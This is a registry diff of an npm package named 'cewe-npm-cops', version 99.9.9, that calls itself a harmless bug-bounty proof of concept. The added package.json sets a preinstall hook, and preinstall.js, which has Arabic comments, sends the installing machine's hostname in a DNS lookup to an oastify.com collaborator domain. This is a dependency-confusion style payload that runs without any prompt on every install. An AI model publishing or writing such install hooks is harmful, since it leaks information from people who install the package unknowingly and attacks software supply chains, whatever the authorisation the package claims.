cewe-npm-cops 99.9.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +0 -0
- package/package.json +11 -0
- package/preinstall.js +18 -0
package/index.js
ADDED
|
File without changes
|
package/package.json
ADDED
|
@@ -0,0 +1,11 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "cewe-npm-cops",
|
|
3
|
+
"version": "99.9.9",
|
|
4
|
+
"description": "Safe PoC for authorized bug bounty testing. This package is harmless.",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node preinstall.js"
|
|
8
|
+
},
|
|
9
|
+
"author": "Your_HackerOne_Username",
|
|
10
|
+
"license": "MIT"
|
|
11
|
+
}
|
package/preinstall.js
ADDED
|
@@ -0,0 +1,18 @@
|
|
|
1
|
+
// preinstall.js
|
|
2
|
+
const dns = require('dns');
|
|
3
|
+
const os = require('os');
|
|
4
|
+
|
|
5
|
+
// نطاقك الفريد من Burp Collaborator أو Interactsh
|
|
6
|
+
const collaboratorUrl = "zfir3qor582xqvyqm0tdc7xpqgw7ky8n.oastify.com";
|
|
7
|
+
|
|
8
|
+
// الحصول على اسم الجهاز (Hostname) لتمييز المصدر
|
|
9
|
+
const hostname = os.hostname();
|
|
10
|
+
|
|
11
|
+
// إنشاء نطاق فرعي يحتوي على اسم الجهاز
|
|
12
|
+
const lookupUrl = `${hostname}.${collaboratorUrl}`;
|
|
13
|
+
|
|
14
|
+
// إجراء بحث DNS بسيط. هذا هو الإثبات.
|
|
15
|
+
dns.lookup(lookupUrl, (err, address, family) => {
|
|
16
|
+
// لا نحتاج لعمل شيء هنا، المهم هو وصول الطلب إلينا.
|
|
17
|
+
console.log("PoC executed successfully.");
|
|
18
|
+
});
|